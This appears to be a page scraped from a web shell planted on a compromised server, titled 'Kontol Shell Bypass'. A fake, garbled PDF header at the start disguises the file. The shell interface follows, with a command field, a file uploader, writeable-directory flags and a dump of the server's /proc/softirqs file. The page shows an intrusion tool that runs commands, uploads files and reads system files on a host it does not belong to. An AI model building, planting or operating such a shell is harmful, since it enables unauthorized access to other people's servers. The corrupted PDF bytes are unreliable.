%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
          HI:         21         34         44         70         87        104         83         77         52         47         34         34
       TIMER:    7206496    3878454    5658296    4807291    4073414    7248287   10517320    4198101    3974773    3539677    3266863    2300674
      NET_TX:         24          1          2          2          0        284          4         10          2        481         26         21
      NET_RX:    1368342      23345      18544      11675      16052    2777384  138225215    1154152    1255912    3379432    2608614    1272008
       BLOCK:         10          0          0          1         10          0    1333672          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        584        691        797       2166       1006     100333        895        925        806     130090        682        710
       SCHED:   15030649    7880194    8597336    8074390    7004332   10696323   17555330    6500175    6599383    6042157    5826910    4316692
     HRTIMER:       7167          0          1          1          0          1       6399       6194       9563          1       6741       7087
         RCU:    4598815    4685785    5211850    5096638    4272775    5719728    5671937    3972045    4485572    3862872    3958046    3064472

Kontol Shell Bypass